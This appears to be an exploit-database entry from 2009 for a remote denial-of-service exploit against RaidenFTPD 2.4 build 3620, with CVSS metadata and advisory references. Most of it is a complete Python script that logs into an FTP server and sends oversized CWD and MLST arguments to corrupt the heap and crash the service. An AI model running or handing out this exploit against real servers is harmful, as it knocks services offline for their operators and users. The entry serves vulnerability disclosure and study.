RaidenFTPD 2.4 build 3620 Remote Denial of Service Exploit

2009.02.22
Credit: dmnt
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# RaidenFTPD V2.4 build 3620 exploit # probaly heap overflow # # (x)dmnt 2008 # -*- coding: windows-1252 -*- import socket import sys, time evil_cwd = "/"+"\x22"*255 evil_dir = "X"*505 def help_info(): print ("Usage: ShaoKahn <host> <login> <password>\n") print ("Note: anonymous is enought") def dos_it(hostname, username, passwd): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("[-] Connection error!") sys.exit(1) r=sock.recv(2048) print "[+] Connected" sock.send("user %s\r\n" %username) r=sock.recv(1024) time.sleep(3) sock.send("pass %s\r\n" %passwd) r=sock.recv(1024) print "[+] Send evil string" time.sleep(3) sock.send("cwd %s\r\n" %evil_cwd) r=sock.recv(1024) time.sleep(3) sock.send("mlst %s\r\n" %evil_dir) r=sock.recv(1024) time.sleep(3) sock.close() print "[:)] Now server d0s'ed/heap corrupted" print ("\n]RaidenFTPD V2.4 build 3620 remote DoS exploit") print ("](x)dmnt 2008\n\n") if len(sys.argv) <> 4: help_info() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] dos_it(hostname,username,passwd) sys.exit(0)

References:

http://www.securityfocus.com/bid/31741
http://www.milw0rm.com/exploits/6742
http://www.frsirt.com/english/advisories/2008/2804
http://secunia.com/advisories/32216


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